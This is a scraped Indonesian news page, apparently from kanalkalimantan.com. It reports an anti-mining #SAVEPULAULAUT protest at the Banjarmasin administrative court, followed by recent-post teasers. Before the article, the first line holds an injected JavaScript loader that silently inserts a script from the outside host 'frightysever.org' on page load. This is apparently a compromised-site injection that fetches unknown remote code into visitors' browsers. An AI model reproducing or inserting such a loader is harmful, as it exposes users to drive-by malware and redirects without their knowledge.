(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Massa #SAVEPULAULAUT Kembali ‘Serbu’ PTUN Banjarmasin


BANJARMASIN, Sidang lanjutan gugatan PT Sebuku Group versus Gubernur Kalimantan Selatan H Sahbirin Noor berlanjut kembali, Kamis (31/5) di Pengadilan Tata Usaha Negeri Banjarmasin dengan agenda penyerahan kesimpulan.

Pada saat kesimpulan di persidangan, halaman PTUN Banjarmasin kembali kedatangan massa #savepulaulaut yang menuntut dan menyuarakan aspirasi mereka yang menolak tambang di Pulau Laut.

Sugianoor, Dewan Penasehat Lembaga Swadaya Masyarakat Anak Kaki Gunung Sebatang mengatakan, kejadian ini pernah dialaminya pada tahun 2000-an ketika masyarakat membawa aspirasi mereka dengan murni untuk menolak pertambangan.

“Bukan apa-apa, saya tahu bagaimana tambang di Kotabaru, ucapan saya tidak mengada-ada,” katanya.

Ditambahkannya, pertambangan di Kotabaru merupakan hasil kegiatan yang sangat tidak bermanfaat dan pekerja dari suatu proyek tambang didominasi oleh masyarakat luar Kotabaru. Dari income daerah pun tak mumpunyai dampak yang besar dari segi ekonomi maupun fasilitas dan sarana masyarakat.

Menurutnya tidak ada satupun hal positifnya yang dihasilkan oleh pengusaha tambang, baik dari sektor kesehatan maupun fasilitas umum, sedangkan Kotabaru menyumbangkan kurang lebih Rp 100 triliun untuk APBN.

“Fasilitas?, jembatan saja sampai saat ini belum terbangun,” katanya.

Apabila keputusan ini tetap mengabulkan pihak PT Sebuku Group untuk tetap melakukan penambangan di Pulau Laut, maka masyarakat akan terus berjuang melawan keputusan tersebut. Ia menegaskan bahwa hukum harus berdasarkan representasi aspirasi masyarakat.

“Hukum harus berpihak kepada masyakat,” terangnya.

Ia berharap kepada seluruh elemen masyarakat harus bijaksana dalam menanggapi penolakan tambang di Pulau Laut, pihak yang menolak bukan anti investasi akan tetapi lebih ingin mengembangkan agrobisnis dan agrowisata karena dinilai lebih ramah serta tidak merusak lingkungan. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.